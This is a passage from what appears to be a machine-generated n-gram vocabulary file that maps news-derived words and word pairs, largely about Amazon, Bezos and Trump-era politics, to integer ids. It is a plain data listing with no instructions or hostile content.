ny\": 197166,\n  \"elsie\": 197167,\n  \"concerns limo\": 197168,\n  \"exercises reports\": 197169,\n  \"evil human\": 197170,\n  \"pagevis\": 197171,\n  \"gianaris new\": 197172,\n  \"amazon shortlist\": 197173,\n  \"company placate\": 197174,\n  \"michaelcohen\": 197175,\n  \"lives better\": 197176,\n  \"politically correct\": 197177,\n  \"created keeping\": 197178,\n  \"trump interests\": 197179,\n  \"slightly backed\": 197180,\n  \"comment appearance\": 197181,\n  \"sullivan meaningful\": 197182,\n  \"shoulder fired\": 197183,\n  \"appointed acting\": 197184,\n  \"tweeted information\": 197185,\n  \"long shown\": 197186,\n  \"excruciatingly embarrassing\": 197187,\n  \"self created\": 197188,\n  \"283\": 197189,\n  \"chinas retaliation\": 197190,\n  \"pundit\": 197191,\n  \"ironic discrepancy\": 197192,\n  \"brush\": 197193,\n  \"landing right\": 197194,\n  \"income increments\": 197195,\n  \"new deliveryservice\": 197196,\n  \"balls fireworks\": 197197,\n  \"world view\": 197198,\n  \"trump obstructed\": 197199,\n  \"conditions american\": 197200,\n  \"amazon set\": 197201,\n  \"maxsa decided\": 197202,\n  \"democrats fell\": 197203,\n  \"driving turnout\": 197204,\n  \"fagan associate\": 197205,\n  \"publish report\": 197206,\n  \"demean\": 197207,\n  \"sister father\": 197208,\n  \"paying 150\": 197209,\n  \"john le\": 197210,\n  \"195229\": 197211,\n  \"tech business\": 197212,\n  \"chief hours\": 197213,\n  \"pay federal\": 197214,\n  \"price did\": 197215,\n  \"raiding\": 197216,\n  \"failed vote\": 197217,\n  \"businessman eager\": 197218,\n  \"skit closed\": 197219,\n  \"latest tweets\": 197220,\n  \"warren outlined\": 197221,\n  \"mean earnings\": 197222,\n  \"trade commissioner\": 197223,\n  \"unearthed\": 197224,\n  \"intimate bits\": 197225,\n  \"dissenting opinions\": 197226,\n  \"later adopted\": 197227,\n  \"jury\": 197228,\n  \"amazon flexispot\": 197229,\n  \"single dad\": 197230,\n  \"proclaims\": 197231,\n  \"deal deliveries\": 197232,\n  \"financially beneficial\": 197233,\n  \"bezos carell\": 197234,\n  \"created massive\": 197235,\n  \"isembeddable\": 197236,\n  \"2020 attack\": 197237,\n  \"hearts\": 197238,\n  \"triumphs\": 197239,\n  \"waging public\": 197240,\n  \"goodreads ads\": 197241,\n  \"local food\": 197242,\n  \"warehouses earlier\": 197243,\n  \"magnificent contribution\": 197244,\n  \"mclemore hometown\": 197245,\n  \"obama aide\": 197246,\n  \"personality megyn\": 197247,\n  \"cute little\": 197248,\n  \"disrespecting donald\": 197249,\n  \"cnbcaround\": 197250,\n  \"paid single\": 197251,\n  \"material capability\": 197252,\n  \"amazon blitz\": 197253,\n  \"instance thereof\": 197254,\n  \"artificially raise\": 197255,\n  \"advisers similar\": 197256,\n  \"brand amazon\": 197257,\n  \"dam construction\": 197258,\n  \"business investments\": 197259,\n  \"markedly\": 197260,\n  \"latest sign\": 197261,\n  \"war means\": 197262,\n  \"fact according\": 197263,\n  \"claims protest\": 197264,\n  \"enforcement candidates\": 197265,\n  \"buying better\": 197266,\n  \"comp policies\": 197267,\n  \"wasreporting\": 197268,\n  \"league footballer\": 197269,\n  \"implicate trump\": 197270,\n  \"interfere editorially\": 197271,\n  \"barbara kingsolver\": 197272,\n  \"fed minutes\": 197273,\n  \"100 places\": 197274,\n  \"deeply committed\": 197275,\n  \"censor conservatives\": 197276,\n  \"having served\": 197277,\n  \"pleasant management\": 197278,\n  \"carol burnett\": 197279,\n  \"secret weapon\": 197280,\n  \"whistleblower earns\": 197281,\n  \"initiated meetings\": 197282,\n  \"tell thr\": 197283,\n  \"garten\": 197284,\n  \"pane vino\": 197285,\n  \"meals including\": 197286,\n  \"particularly recruit\": 197287,\n  \"imminent disaster\": 197288,\n  \"typically gain\": 197289,\n  \"night\": 197290,\n  \"advsrs california\": 197291,\n  \"benson portland\": 197292,\n  \"president dinner\": 197293,\n  \"twitter numerous\": 197294,\n  \"hate talking\": 197295,\n  \"violate rights\": 197296,\n  \"adult life\": 197297,\n  \"plan germany\": 197298,\n  \"consecutive paychecks\": 197299,\n  \"rates suggesting\": 197300,\n  \"jolie fires\": 197301,\n  \"obtuse\": 197302,\n  \"commission brennan\": 197303,\n  \"gop amazon\": 197304,\n  \"america\\u00e2\": 197305,\n  \"tilda\": 197306,\n  \"roads uber\": 197307,\n  \"spokespeople haven\": 197308,\n  \"lead reporter\": 197309,\n  \"norman sc\": 197310,\n  \"inauthentic reviews\": 197311,\n  \"highly technical\": 197312,\n  \"chosen policy\": 197313,\n  \"sto pff\": 197314,\n  \"great stretch\": 197315,\n  \"tweeted photo\": 197316,\n  \"key assets\": 197317,\n  \"double bagged\": 197318,\n  \"leaning adults\": 197319,\n  \"parting\": 197320,\n  \"jets swanky\": 197321,\n  \"elected bolsonaro\": 197322,\n  \"enquirer tabloid\": 197323,\n  \"memo dod\": 197324,\n  \"illustrated tightening\": 197325,\n  \"tv working\": 197326,\n  \"vendor coverage\": 197327,\n  \"million circulation\": 197328,\n  \"shares california\": 197329,\n  \"freedom restoration\": 197330,\n  \"slow cooker\": 197331,\n  \"amazon ap\": 197332,\n  \"associate told\": 197333,\n  \"heavy places\": 197334,\n  \"worser\": 197335,\n  \"900 mini1x1\": 197336,\n  \"jill levine\": 197337,\n  \"ego\": 197338,\n  \"foreman\": 197339,\n  \"york yankees\": 197340,\n  \"guiding principle\": 197341,\n  \"preference woman\": 197342,\n  \"public outreach\": 197343,\n  \"civil rights\": 197344,\n  \"states play\": 197345,\n  \"loser executives\": 197346,\n  \"surigao\": 197347,\n  \"earlier begged\": 197348,\n  \"a4ee d0\": 197349,\n  \"wireto record\": 197350,\n  \"progressive icon\": 197351,\n  \"doerr\": 197352,\n  \"character patriot\": 197353,\n  \"beat clinton\": 197354,\n  \"canada mexico\": 197355,\n  \"demand company\": 197356,\n  \"biggest crony\": 197357,\n  \"usps isn\": 197358,\n  \"progressives ignoring\": 197359,\n  \"catering\": 197360,\n  \"visual effects\": 197361,\n  \"audio division\": 197362,\n  \"presidential candidacy\": 197363,\n  \"mile problem\": 197364,\n  \"ceo text\": 197365,\n  \"mexico georgia\": 197366,\n  \"public urinals\": 197367,\n  \"pretty clearly\": 197368,\n  \"significant change\": 197369,\n  \"blac chyna\": 197370,\n  \"barriers new\": 197371,\n  \"international effects\": 197372,\n  \"push following\": 197373,\n  \"maduro interview\": 197374,\n  \"usa humanitarian\": 197375,\n  \"jo ling\": 197376,\n  \"zuckerberg nadella\": 197377,\n  \"lapd presence\": 197378,\n  \"extended times\": 197379,\n  \"looks abundantly\": 197380,\n  \"africa died\": 197381,\n  \"care salesman\": 197382,\n  \"carrier partnerships\": 197383,\n  \"amazon generated\": 197384,\n  \"locals\": 197385,\n  \"enquirer mainstream\": 197386,\n  \"reopen government\": 197387,\n  \"using skdknickerbocker\": 197388,\n  \"luke sharrett\": 197389,\n  \"legislative response\": 197390,\n  \"asphyxiation\": 197391,\n  \"different poses\": 197392,\n  \"growing powers\": 197393,\n  \"written string\": 197394,\n  \"briefs harley\": 197395,\n  \"platforms open\": 197396,\n  \"pope emeritus\": 197397,\n  \"tabloid leaks\": 197398,\n  \"anti ice\": 197399,\n  \"group proposed\": 197400,\n  \"trump inner\": 197401,\n  \"medical daydreams\": 197402,\n  \"appear consistent\": 197403,\n  \"philanderer\": 197404,\n  \"double yellow\": 197405,\n  \"undermined\": 197406,\n  \"staring\": 197407,\n  \"robin hood\": 197408,\n  \"longstanding allegiance\": 197409,\n  \"theorized\": 197410,\n  \"ruin barrage\": 197411,\n  \"flynn\": 197412,\n  \"plaintiffs sought\": 197413,\n  \"ortega euro\": 197414,\n  \"iridescent onion\": 197415,\n  \"network negotiating\": 197416,\n  \"tawdry\": 197417,\n  \"program giannandrea\": 197418,\n  \"software provider\": 197419,\n  \"twitter offer\": 197420,\n  \"article38073257\": 197421,\n  \"gang monsters\": 197422,\n  \"corporations pay\": 197423,\n  \"day breaking\": 197424,\n  \"powered earnings\": 197425,\n  \"outside suppliers\": 197426,\n  \"foxbusiness\": 197427,\n  \"190306 bezos\": 197428,\n  \"lentil dog\": 197429,\n  \"strange movies\": 197430,\n  \"developing training\": 197431,\n  \"walmart shopping\": 197432,\n  \"hostile campaign\": 197433,\n  \"employees saw\": 197434,\n  \"outed\": 197435,\n  \"campaign\": 197436,\n  \"pure hatred\": 197437,\n  \"girl learning\": 197438,\n  \"cantwell wash\": 197439,\n  \"investors pause\": 197440,\n  \"inc_typid inc_staid\": 197441,\n  \"trump movie\": 197442,\n  \"wholesale corp\": 197443,\n  \"securities fraud\": 197444,\n  \"christmas season\": 197445,\n  \"old ways\": 197446,\n  \"landings enabling\": 197447,\n  \"2017 tried\": 197448,\n  \"kept insisting\": 197449,\n  \"investor advice\": 197450,\n  \"trump anger\": 197451,\n  \"selection driver\": 197452,\n  \"surged nearly\": 197453,\n  \"funko\": 197454,\n  \"withdraw money\": 197455,\n  \"basically impatient\": 197456,\n  \"sentiment\": 197457,\n  \"tennessee primaries\": 197458,\n  \"highland park\": 197459,\n  \"worker collects\": 197460,\n  \"lead cnl_featuretype\": 197461,\n  \"long new\": 197462,\n  \"short stories\": 197463,\n  \"various restrictions\": 197464,\n  \"meet amazon\": 197465,\n  \"negative attacks\": 197466,\n  \"superbugs recovery\": 197467,\n  \"fairly modest\": 197468,\n  \"2019 snoqualmie\": 197469,\n  \"bookseller association\": 197470,\n  \"1960 sytle\": 197471,\n  \"enddate 2f19\": 197472,\n  \"bob crockett\": 197473,\n  \"swooping\": 197474,\n  \"crunch maura\": 197475,\n  \"california california\": 197476,\n  \"countries accusing\": 197477,\n  \"exposed mark\": 197478,\n  \"reps visit\": 197479,\n  \"computers amazon\": 197480,\n  \"regarded economist\": 197481,\n  \"broader attacks\": 197482,\n  \"fine dining\": 197483,\n  \"time high\": 197484,\n  \"impose racist\": 197485,\n  \"radar amazon\": 197486,\n  \"selling unlawful\": 197487,\n  \"mathias\": 197488,\n  \"presently using\": 197489,\n  \"tells cudjo\": 197490,\n  \"trump hostility\": 197491,\n  \"accepts\": 197492,\n  \"ethics officials\": 197493,\n  \"performed searches\": 197494,\n  \"siminoff geekwire\": 197495,\n  \"think aws\": 197496,\n  \"rallying\": 197497,\n  \"unhinged conservative\": 197498,\n  \"giessen\": 197499,\n  \"company participant\": 197500,\n  \"increasingly hawking\": 197501,\n  \"helpless mammals\": 197502,\n  \"enjoy fewer\": 197503,\n  \"belgium brazil\": 197504,\n  \"swaying violently\": 197505,\n  \"da nang\": 197506,\n  \"injuries\": 197507,\n  \"advisors boasted\": 197508,\n  \"history treasury\": 197509,\n  \"ricci firm\": 197510,\n  \"debilitating health\": 197511,\n  \"york politics\": 197512,\n  \"times style\": 197513,\n  \"time chooses\": 197514,\n  \"wing netanyahu\": 197515,\n  \"fully profitable\": 197516,\n  \"later followed\": 197517,\n  \"wanderer\": 197518,\n  \"floated similar\": 197519,\n  \"synovus reported\": 197520,\n  \"absurd scoop\": 197521,\n  \"higher customer\": 197522,\n  \"market anniversary\": 197523,\n  \"retirement sys\": 197524,\n  \"state washington\": 197525,\n  \"delivering new\": 197526,\n  \"somewhat ironic\": 197527,\n  \"wealthy interests\": 197528,\n  \"geopolitical implications\": 197529,\n  \"kimmel grilled\": 197530,\n  \"jassy andrew\": 197531,\n  \"business holdings\": 197532,\n  \"weaving\": 197533,\n  \"paranoia spreads\": 197534,\n  \"alito\": 197535,\n  \"throat earvil\": 197536,\n  \"google nasdaq\": 197537,\n  \"lengthening list\": 197538,\n  \"elegance\": 197539,\n  \"xb\": 197540,\n  \"llc concludes\": 197541,\n  \"halbert\": 197542,\n  \"bezos suspicions\": 197543,\n  \"corp xom\": 197544,\n  \"self promoting\": 197545,\n  \"house driverless\": 197546,\n  \"chayes\": 197547,\n  \"month included\": 197548,\n  \"section domestic\": 197549,\n  \"offers story\": 197550,\n  \"caption mike\": 197551,\n  \"ceo leen\": 197552,\n  \"jr meeting\": 197553,\n  \"coalition members\": 197554,\n  \"old adage\": 197555,\n  \"isn actually\": 197556,\n  \"metropolitan museum\": 197557,\n  \"portland global\": 197558,\n  \"tie wires\": 197559,\n  \"sell seats\": 197560,\n  \"running broward\": 197561,\n  \"fourth amazon\": 197562,\n  \"predatory litigation\": 197563,\n  \"soon going\": 197564,\n  \"5e383231323b626f6c6465725f6e6577735f616374696f6e ref_url\": 197565,\n  \"lawsuits arise\": 197566,\n  \"fredericks 415\": 197567,\n  \"handle expanded\": 197568,\n  \"flu strain\": 197569,\n  \"transfer battle\": 197570,\n  \"trifecta amazon\": 197571,\n  \"omarosa book\": 197572,\n  \"client note\": 197573,\n  \"senate confirms\": 197574,\n  \"threaten retribution\": 197575,\n  \"right ig\": 197576,\n  \"carell hosted\": 197577,\n  \"blacq exclusive\": 197578,\n  \"stumble just\": 197579,\n  \"representing net\": 197580,\n  \"squeezing better\": 197581,\n  \"credit similarweb\": 197582,\n  \"man famous\": 197583,\n  \"walk frustration\": 197584,\n  \"ct 735\": 197585,\n  \"dynamo\": 197586,\n  \"downgrades exxonmobil\": 197587,\n  \"vokaw500vq\": 197588,\n  \"quarterly finances\": 197589,\n  \"domestic policy\": 197590,\n  \"tailed billionaire\": 197591,\n  \"lot lately\": 197592,\n  \"2019 trump\": 197593,\n  \"numbersmuncher\": 197594,\n  \"magnetism\": 197595,\n  \"government programs\": 197596,\n  \"500 director\": 197597,\n  \"image 0x367\": 197598,\n  \"national candidates\": 197599,\n  \"audible touts\": 197600,\n  \"microsoft google\": 197601,\n  \"fedex recently\": 197602,\n  \"average\": 197603,\n  \"weeks later\": 197604,\n  \"bipartisanship won\": 197605,\n  \"delhi tech\": 197606,\n  \"multiple provisions\": 197607,\n  \"administration reps\": 197608,\n  \"nvidia potential\": 197609,\n  \"upstate downstate\": 197610,\n  \"delive\": 197611,\n  \"harassment scandals\": 197612,\n  \"automotive fashion\": 197613,\n  \"residents voting\": 197614,\n  \"reduce demand\": 197615,\n  \"photos cuba\": 197616,\n  \"want anybody\": 197617,\n  \"bolsonaro mentions\": 197618,\n  \"arivale\": 197619,\n  \"ray bradbury\": 197620,\n  \"billion divorce\": 197621,\n  \"privacy officer\": 197622,\n  \"ap content\": 197623,\n  \"country national\": 197624,\n  \"fake headlines\": 197625,\n  \"nita lowey\": 197626,\n  \"project jedi\": 197627,\n  \"amazon staffers\": 197628,\n  \"charge market\": 197629,\n  \"provide competitive\": 197630,\n  \"america better\": 197631,\n  \"amazon eyes\": 197632,\n  \"montana missouri\": 197633,\n  \"point clogged\": 197634,\n  \"videoplay\": 197635,\n  \"conversation emphasized\": 197636,\n  \"bookfunnel\": 197637,\n  \"savaging\": 197638,\n  \"348\": 197639,\n  \"trillion 2017\": 197640,\n  \"1924 orwell\": 197641,\n  \"amazon sports\": 197642,\n  \"2017 announcing\": 197643,\n  \"fernando henrique\": 197644,\n  \"project\": 197645,\n  \"otherwords\": 197646,\n  \"joke donald\": 197647,\n  \"oline\": 197648,\n  \"virgina\": 197649,\n  \"week shame\": 197650,\n  \"warning minors\": 197651,\n  \"thanksgiving 2018\": 197652,\n  \"germany mexico\": 197653,\n  \"respectful exchanges\": 197654,\n  \"amazon carries\": 197655,\n  \"charter charter\": 197656,\n  \"largest competitor\": 197657,\n  \"allergic reactions\": 197658,\n  \"amazon illegal\": 197659,\n  \"fixes\": 197660,\n  \"read ballantine\": 197661,\n  \"wordplay\": 197662,\n  \"department fairly\": 197663,\n  \"jpmorgan retakes\": 197664,\n  \"bianco\": 197665,\n  \"765\": 197666,\n  \"quantity\": 197667,\n  \"series folklore\": 197668,\n  \"interviews andrea\": 197669,\n  \"chau wrote\": 197670,\n  \"staff paywall\": 197671,\n  \"todd williamson\": 197672,\n  \"trump dominates\": 197673,\n  \"photo palinchak\": 197674,\n  \"sectors away\": 197675,\n  \"karp cap\": 197676,\n  \"448 pages\": 197677,\n  \"used key\": 197678,\n  \"different place\": 197679,\n  \"fulfillment tweeted\": 197680,\n  \"names princess\": 197681,\n  \"ruby\": 197682,\n  \"conference maitland\": 197683,\n  \"cooled\": 197684,\n  \"emma roller\": 197685,\n  \"lieutenant governor\": 197686,\n  \"colonial history\": 197687,\n  \"caste\": 197688,\n  \"tweets critical\": 197689,\n  \"agent looking\": 197690,\n  \"surge protector\": 197691,\n  \"branch deals\": 197692,\n  \"fed calf\": 197693,\n  \"candidate troy\": 197694,\n  \"coinciding\": 197695,\n  \"surcharge today\": 197696,\n  \"old dog\": 197697,\n  \"list runs\": 197698,\n  \"took considerable\": 197699,\n  \"law adding\": 197700,\n  \"potential investors\": 197701,\n  \"controlled house\": 197702,\n  \"profit multiple\": 197703,\n  \"read spark\": 197704,\n  \"drug industry\": 197705,\n  \"tr1 trc0\": 197706,\n  \"truth\": 197707,\n  \"applicants amazon\": 197708,\n  \"crushed analysts\": 197709,\n  \"italy matteo\": 197710,\n  \"2113 sanders\": 197711,\n  \"music industry\": 197712,\n  \"episode sci\": 197713,\n  \"plans directed\": 197714,\n  \"breaks climate\": 197715,\n  \"backfiring\": 197716,\n  \"company really\": 197717,\n  \"virtuous\": 197718,\n  \"exact details\": 197719,\n  \"lol\": 197720,\n  \"rallies\": 197721,\n  \"spurious claims\": 197722,\n  \"joe mcdonald\": 197723,\n  \"community leaders\": 197724,\n  \"tax advantages\": 197725,\n  \"inspiration delivered\": 197726,\n  \"particular strain\": 197727,\n  \"official communications\": 197728,\n  \"include buying\": 197729,\n  \"super carb\": 197730,\n  \"flashier presence\": 197731,\n  \"precise\": 197732,\n  \"angeles occasions\": 197733,\n  \"conference transcript\": 197734,\n  \"democratic\": 197735,\n  \"holocaust deniers\": 197736,\n  \"offered variety\": 197737,\n  \"force really\": 197738,\n  \"old alliances\": 197739,\n  \"direct flights\": 197740,\n  \"aramco current\": 197741,\n  \"added bezos\": 197742,\n  \"jack lew\": 197743,\n  \"gianforte\": 197744,\n  \"ruthless king\": 197745,\n  \"ge management\": 197746,\n  \"money rush\": 197747,\n  \"freedom hysteria\": 197748,\n  \"tiananmen\": 197749,\n  \"164\": 197750,\n  \"ailing father\": 197751,\n  \"historic dc\": 197752,\n  \"contains extra\": 197753,\n  \"feeding\": 197754,\n  \"dttm\": 197755,\n  \"names\": 197756,\n  \"country major\": 197757,\n  \"story sports\": 197758,\n  \"including support\": 197759,\n  \"team mueller\": 197760,\n  \"apparently remain\": 197761,\n  \"trump says\": 197762,\n  \"intense hour\": 197763,\n  \"remain modest\": 197764,\n  \"chinese promise\": 197765,\n  \"directly encourages\": 197766,\n  \"union using\": 197767,\n  \"teenage mutant\": 197768,\n  \"bezos charge\": 197769,\n  \"chafing\": 197770,\n  \"construct new\": 197771,\n  \"debating\": 197772,\n  \"house cleaning\": 197773,\n  \"abroad\": 197774,\n  \"post tunisia\": 197775,\n  \"reservoir capital\": 197776,\n  \"agencies raising\": 197777,\n  \"devastating assault\": 197778,\n  \"sh shark\": 197779,\n  \"cs trading\": 197780,\n  \"geekwire sports\": 197781,\n  \"spy phones\": 197782,\n  \"zuma looking\": 197783,\n  \"snag dod\": 197784,\n  \"induced inflation\": 197785,\n  \"dynamic changes\": 197786,\n  \"606 000\": 197787,\n  \"email scandal\": 197788,\n  \"necessary spokesman\": 197789,\n  \"clearly written\": 197790,\n  \"probe dark\": 197791,\n  \"market anxiety\": 197792,\n  \"book paper\": 197793,\n  \"drop moving\": 197794,\n  \"psychotic mother\": 197795,\n  \"abandons\": 197796,\n  \"protection taxi\": 197797,\n  \"abdul\": 197798,\n  \"27101\": 197799,\n  \"national wireless\": 197800,\n  \"literally treats\": 197801,\n  \"begging\": 197802,\n  \"conservative refusing\": 197803,\n  \"objects including\": 197804,\n  \"emergency trump\": 197805,\n  \"moves regardless\": 197806,\n  \"population used\": 197807,\n  \"wf\": 197808,\n  \"2003 susan\": 197809,\n  \"outraged amazon\": 197810,\n  \"bbc drama\": 197811,\n  \"publisher says\": 197812,\n  \"fed conference\": 197813,\n  \"successful season\": 197814,\n  \"hearing 9781541673533\": 197815,\n  \"reportsthat\": 197816,\n  \"anti union\": 197817,\n  \"workers worried\": 197818,\n  \"apple financial\": 197819,\n  \"street investor\": 197820,\n  \"offering 10000\": 197821,\n  \"amendment james\": 197822,\n  \"cory booker\": 197823,\n  \"generator\": 197824,\n  \"beef production\": 197825,\n  \"different supply\": 197826,\n  \"guaranteed 100\": 197827,\n  \"sells amzn\": 197828,\n  \"discrimination claims\": 197829,\n  \"global fossil\": 197830,\n  \"cover common\": 197831,\n  \"morning report\": 197832,\n  \"numbers include\": 197833,\n  \"increased homogenization\": 197834,\n  \"mean senator\": 197835,\n  \"campus calls\": 197836,\n  \"town sacred\": 197837,\n  \"herculean\": 197838,\n  \"health cds\": 197839,\n  \"delivered right\": 197840,\n  \"media ahead\": 197841,\n  \"antidote\": 197842,\n  \"twitter video\": 197843,\n  \"adobe nasdaq\": 197844,\n  \"economy germany\": 197845,\n  \"premise customers\": 197846,\n  \"starbucks fires\": 197847,\n  \"luminaid latest\": 197848,\n  \"clear hillary\": 197849,\n  \"withstand inflation\": 197850,\n  \"manipulates\": 197851,\n  \"northwestern university\": 197852,\n  \"mta bring\": 197853,\n  \"2019 postage\": 197854,\n  \"profitability absent\": 197855,\n  \"personalized coaching\": 197856,\n  \"estimates indicate\": 197857,\n  \"nash\": 197858,\n  \"lorna schofield\": 197859,\n  \"dialect\": 197860,\n  \"2015 sales\": 197861,\n  \"deficits don\": 197862,\n  \"wa\": 197863,\n  \"james baldwin\": 197864,\n  \"davidson\": 197865,\n  \"hauer feld\": 197866,\n  \"bans books\": 197867,\n  \"reflect\": 197868,\n  \"company marketing\": 197869,\n  \"great antitrust\": 197870,\n  \"blasts\": 197871,\n  \"challengers garry\": 197872,\n  \"conservatives unsubscribing\": 197873,\n  \"improve epa\": 197874,\n  \"iduskbn1l10hs\": 197875,\n  \"streamed\": 197876,\n  \"throwing laurels\": 197877,\n  \"birthday twinkle\": 197878,\n  \"distant point\": 197879,\n  \"charges bezos\": 197880,\n  \"milestones\": 197881,\n  \"surprised michael\": 197882,\n  \"barbecue\": 197883,\n  \"assets exposing\": 197884,\n  \"investigationacross\": 197885,\n  \"amazon providing\": 197886,\n  \"commerce devin\": 197887,\n  \"companies ceos\": 197888,\n  \"dangerous public\": 197889,\n  \"toronto promise\": 197890,\n  \"change threatens\": 197891,\n  \"wapo reported\": 197892,\n  \"leon\": 197893,\n  \"achieve national\": 197894,\n  \"sales soared\": 197895,\n  \"crowley office\": 197896,\n  \"tech sets\": 197897,\n  \"logistics office\": 197898,\n  \"schools amazon\": 197899,\n  \"vidal\": 197900,\n  \"began pushing\": 197901,\n  \"llc sold\": 197902,\n  \"intelligence robotics\": 197903,\n  \"amazon collected\": 197904,\n  \"greater steps\": 197905,\n  \"apparent plagiarism\": 197906,\n  \"packages pecker\": 197907,\n  \"murder confesses\": 197908,\n  \"madness gawande\": 197909,\n  \"intelligence agencies\": 197910,\n  \"oriented sectors\": 197911,\n  \"colonies\": 197912,\n  \"mainstream press\": 197913,\n  \"results google\": 197914,\n  \"joined coalition\": 197915,\n  \"cultural appropriation\": 197916,\n  \"dinosaurs team\": 197917,\n  \"sucks\": 197918,\n  \"legislature passed\": 197919,\n  \"corona civic\": 197920,\n  \"banning sketchy\": 197921,\n  \"sweets\": 197922,\n  \"efficiently access\": 197923,\n  \"ave parenting\": 197924,\n  \"minor feat\": 197925,\n  \"thought think\": 197926,\n  \"trump mar\": 197927,\n  \"marla ann\": 197928,\n  \"envelop\": 197929,\n  \"new year\": 197930,\n  \"exonerate\": 197931,\n  \"multicity dnainfo\": 197932,\n  \"shares saying\": 197933,\n  \"center volunteers\": 197934,\n  \"moon guest\": 197935,\n  \"wonderful diamond\": 197936,\n  \"shui\": 197937,\n  \"credo recently\": 197938,\n  \"museum doesn\": 197939,\n  \"service role\": 197940,\n  \"think small\": 197941,\n  \"chiefs disciplinary\": 197942,\n  \"obama left\": 197943,\n  \"price edge\": 197944,\n  \"good information\": 197945,\n  \"fassbender afp\": 197946,\n  \"buy big\": 197947,\n  \"legal jeopardy\": 197948,\n  \"uncollected\": 197949,\n  \"son meteoric\": 197950,\n  \"actually coming\": 197951,\n  \"italie\": 197952,\n  \"plunge ceo\": 197953,\n  \"vision dental\": 197954,\n  \"238\": 197955,\n  \"kurtz\": 197956,\n  \"secret efforts\": 197957,\n  \"files mankiw\": 197958,\n  \"rights groups\": 197959,\n  \"dissent recent\": 197960,\n  \"perspective accusing\": 197961,\n  \"party leading\": 197962,\n  \"view herera\": 197963,\n  \"hooded sweatshirts\": 197964,\n  \"companies stated\": 197965,\n  \"model repeatedly\": 197966,\n  \"vpc solution\": 197967,\n  \"attacks bezos\": 197968,\n  \"hands president\": 197969,\n  \"tag trump\": 197970,\n  \"especially interesting\": 197971,\n  \"h1 visas\": 197972,\n  \"hartford courant\": 197973,\n  \"margin north\": 197974,\n  \"surely counts\": 197975,\n  \"donate vacation\": 197976,\n  \"atamanuik\": 197977,\n  \"movement hanson\": 197978,\n  \"bobby berk\": 197979,\n  \"financial units\": 197980,\n  \"councillor election\": 197981,\n  \"subtraction\": 197982,\n  \"collect metadata\": 197983,\n  \"say investigators\": 197984,\n  \"conference checklist\": 197985,\n  \"grossly exaggerates\": 197986,\n  \"adding dean\": 197987,\n  \"case scenario\": 197988,\n  \"multiply alibaba\": 197989,\n  \"ministry controlled\": 197990,\n  \"book purchases\": 197991,\n  \"speedy trial\": 197992,\n  \"shifts online\": 197993,\n  \"sears current\": 197994,\n  \"ske new\": 197995,\n  \"celebrity fare\": 197996,\n  \"222\": 197997,\n  \"admits doj\": 197998,\n  \"films suggesting\": 197999,\n  \"spanish conquistador\": 198000,\n  \"target americans\": 198001,\n  \"game tech\": 198002,\n  \"republicans vanish\": 198003,\n  \"trumpatriotism khalil\": 198004,\n  \"service member\": 198005,\n  \"outsources\": 198006,\n  \"jointly announced\": 198007,\n  \"held signs\": 198008,\n  \"grown yr\": 198009,\n  \"kurosawa\": 198010,\n  \"soldier\": 198011,\n  \"country federal\": 198012,\n  \"smart locks\": 198013,\n  \"128 c8\": 198014,\n  \"834704902 960x0\": 198015,\n  \"fund boss\": 198016,\n  \"greater oversight\": 198017,\n  \"commodities new\": 198018,\n  \"fantastical cakes\": 198019,\n  \"postal union\": 198020,\n  \"kalorama near\": 198021,\n  \"rudolph\": 198022,\n  \"brexit deal\": 198023,\n  \"analytica trump\": 198024,\n  \"medical condition\": 198025,\n  \"german economy\": 198026,\n  \"revenge vote\": 198027,\n  \"force tech\": 198028,\n  \"printings\": 198029,\n  \"mira ricardel\": 198030,\n  \"expert storyteller\": 198031,\n  \"sensational court\": 198032,\n  \"rebutted allegations\": 198033,\n  \"affirmation\": 198034,\n  \"lured\": 198035,\n  \"thoughts suggesting\": 198036,\n  \"legal feud\": 198037,\n  \"new round\": 198038,\n  \"president watching\": 198039,\n  \"aid sanders\": 198040,\n  \"d2c\": 198041,\n  \"mexico mnuchin\": 198042,\n  \"fink rapho\": 198043,\n  \"slippery slope\": 198044,\n  \"chief representative\": 198045,\n  \"blockade\": 198046,\n  \"priests 2018\": 198047,\n  \"multibillion\": 198048,\n  \"reddit share\": 198049,\n  \"828 days\": 198050,\n  \"wealthtrust fairport\": 198051,\n  \"returns nbc\": 198052,\n  \"publisher ordered\": 198053,\n  \"lebeau takes\": 198054,\n  \"american tech\": 198055,\n  \"reuters yves\": 198056,\n  \"ny philadelphia\": 198057,\n  \"contrasts\": 198058,\n  \"know store\": 198059,\n  \"empires\": 198060,\n  \"relentless attacks\": 198061,\n  \"cycles ago\": 198062,\n  \"provenance\": 198063,\n  \"publishing group\": 198064,\n  \"kudlow trump\": 198065,\n  \"technicals legacy\": 198066,\n  \"mortgage payments\": 198067,\n  \"iconic day\": 198068,\n  \"eu court\": 198069,\n  \"edmund\": 198070,\n  \"continues 2018\": 198071,\n  \"wouldn release\": 198072,\n  \"council hearings\": 198073,\n  \"logistics 2019\": 198074,\n  \"past commerce\": 198075,\n  \"tech staff\": 198076,\n  \"personnel carry\": 198077,\n  \"day accusing\": 198078,\n  \"lipped\": 198079,\n  \"mckesson viking\": 198080,\n  \"trainer\": 198081,\n  \"race vying\": 198082,\n  \"initial billion\": 198083,\n  \"doing sure\": 198084,\n  \"post visits\": 198085,\n  \"amazon accelerator\": 198086,\n  \"education related\": 198087,\n  \"divorce battle\": 198088,\n  \"county loudoun\": 198089,\n  \"ocean meeting\": 198090,\n  \"delivery agreements\": 198091,\n  \"looms\": 198092,\n  \"benefit biotech\": 198093,\n  \"capital geekwire\": 198094,\n  \"mayor comptroller\": 198095,\n  \"final decisions\": 198096,\n  \"hosted charity\": 198097,\n  \"direct account\": 198098,\n  \"032\": 198099,\n  \"teeth amazon\": 198100,\n  \"orbit\": 198101,\n  \"growing chorus\": 198102,\n  \"interviewing trump\": 198103,\n  \"wife lola\": 198104,\n  \"mccain obamacare\": 198105,\n  \"increase proposed\": 198106,\n  \"malignant\": 198107,\n  \"highlights news\": 198108,\n  \"math problems\": 198109,\n  \"reinvested handsomely\": 198110,\n  \"usually\": 198111,\n  \"local jurisdictions\": 198112,\n  \"flag trumpy\": 198113,\n  \"medical marijuana\": 198114,\n  \"representing david\": 198115,\n  \"distanced\": 198116,\n  \"hatch republican\": 198117,\n  \"trump meets\": 198118,\n  \"bureau\": 198119,\n  \"conceptual baby\": 198120,\n  \"militant activity\": 198121,\n  \"portfolio lyon\": 198122,\n  \"purse\": 198123,\n  \"penn jillette\": 198124,\n  \"comcast corp\": 198125,\n  \"reviews needed\": 198126,\n  \"credit bloomberg\": 198127,\n  \"accepting low\": 198128,\n  \"delectable snack\": 198129,\n  \"long sunlit\": 198130,\n  \"really 